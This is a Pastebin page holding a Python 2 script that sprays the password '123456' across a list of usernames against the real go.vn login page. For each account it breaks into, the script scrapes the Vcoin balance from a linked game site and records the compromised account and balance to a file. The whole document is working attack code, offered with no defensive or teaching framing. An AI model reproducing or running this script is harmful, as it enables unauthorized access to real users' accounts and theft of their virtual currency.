Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- import re
- import urllib2
- import time
- import cookielib
- import socket
- filename = 'account.txt'
- passwd = "123456"
- with open(filename) as f:
- for line in f:
- line = line.replace("\n","")
- print "Brute Force Account : %s" % line
- POSTDATA = "__VIEWSTATE=/wEPDwUJNzIzMjAyMTc5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUScmVtZW1iZXJNZUNoZWNrQm94&__SCROLLPOSITIONX=0&__SCROLLPOSITIONY=0&__EVENTTARGET=&__EVENTARGUMENT=&txtUserName=%s&txtPassword=%s&btnLogin=Đăng Nhập"%(line,passwd)
- #print POSTDATA
- URL = "https://go.vn/accounts/account.login.aspx?sid=660018&ur=http%3a%2f%2fmy.go.vn%3a3043%2fhome.aspx&m=1&continue="
- try:
- socket.setdefaulttimeout(10)
- cj = cookielib.CookieJar()
- opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
- response = opener.open(URL,POSTDATA).read()
- #for cookie in cj:
- #print cookie
- #open('debug/%s.html'%line, 'wb').write(response)
- result = re.findall(line, response)
- if len(result) >1:
- URL2 = "http://23dzo.go.vn/"
- response2 = opener.open(URL2).read()
- response2 = response2.replace(" ","").replace("\n","").replace("\r","")
- vicoin = re.findall('<pclass="coins">(.*)Vcoins',response2)
- #open('debug/%s_1.html'%line, 'wb').write(response2)
- print "%s : %s Vcoins"%(line,vicoin[0])
- open('LstAccount.txt', 'a').write(line + " : " + vicoin[0] + " Vcoins" + "\n")
- else:
- print "Login Account Error"
- time.sleep(3)
- except:
- print str(line) + " Error"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement